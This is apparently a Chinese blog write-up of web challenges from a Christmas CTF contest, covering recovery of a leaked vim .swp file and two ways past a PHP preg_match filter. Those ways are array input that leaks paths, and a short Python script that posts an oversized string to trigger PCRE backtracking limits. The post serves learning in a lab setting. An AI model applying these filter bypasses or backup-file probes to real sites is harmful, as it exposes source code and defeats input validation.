美文网首页
i春秋圣诞欢乐赛

i春秋圣诞欢乐赛

作者: id_rsa | 来源:发表于2018-12-27 10:00 被阅读0次

    web1

    web签到题竟然是个misc题。。。。

    image.png
    snow-web解密
    image.png image.png

    web2

    打开页面提示


    image.png

    百度一波
    使用vi或vim命令打开一个文件,就会产生一个.(filename).swp的文件。
    如果编辑完成之后,正常退出,那么这个swp文件就会被自动删除。
    非正常关闭vi编辑器时会生成一个.swp文件

    然后用大佬的脚本扫一波

    CTF中常见的敏感文件列表

    image.png

    发现./index.php.swp文件
    下载下来 拖到Linux 中恢复

    vim -r index.php.swp
    
    image.png
    CTF--Vim文件泄露(.swp备份文件)
    image.png
    <?php
    function areyouok($greeting){
        return preg_match('/Merry.*Christmas/is',$greeting);
    }
    
    $greeting=@$_POST['greeting'];
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'Merry Christmas. '.'flag{xxxxxx}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
    ?>
    

    PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径。


    image.png

    web3

    PHP - 函数绕过 - preg_match()
    PHP利用PCRE回溯次数绕过某些安全限制
    plus

    image.png
    <?php
    function areyouok($greeting){
        return preg_match('/Merry.*Christmas/is',$greeting);
    }
    
    $greeting=@$_POST['greeting'];
    if(!is_array($greeting)){
        if(!areyouok($greeting)){
            if(strpos($greeting,'Merry Christmas')!==false){
                echo 'Merry Christmas. '.'flag{xxxxxx}';
            }else{
                echo 'Do you know .swp file?';
            }
        }else{
            echo 'Do you know PHP?';
        }
    }
    ?>
    

    由于过滤了数组
    利用pcre
    正则回溯回溯

    import requests
    from io import BytesIO
    
    files = {
      'greeting':('Merry Christmas' + 'a' * 1000000)
    }
    
    res = requests.post('http://106.75.66.87:8888/index.php', data=files, allow_redirects=False)
    print(res.text)
    
    image.png

    相关文章

      网友评论

          本文标题:i春秋圣诞欢乐赛

          本文链接:https://www.haomeiwen.com/subject/xoxzkqtx.html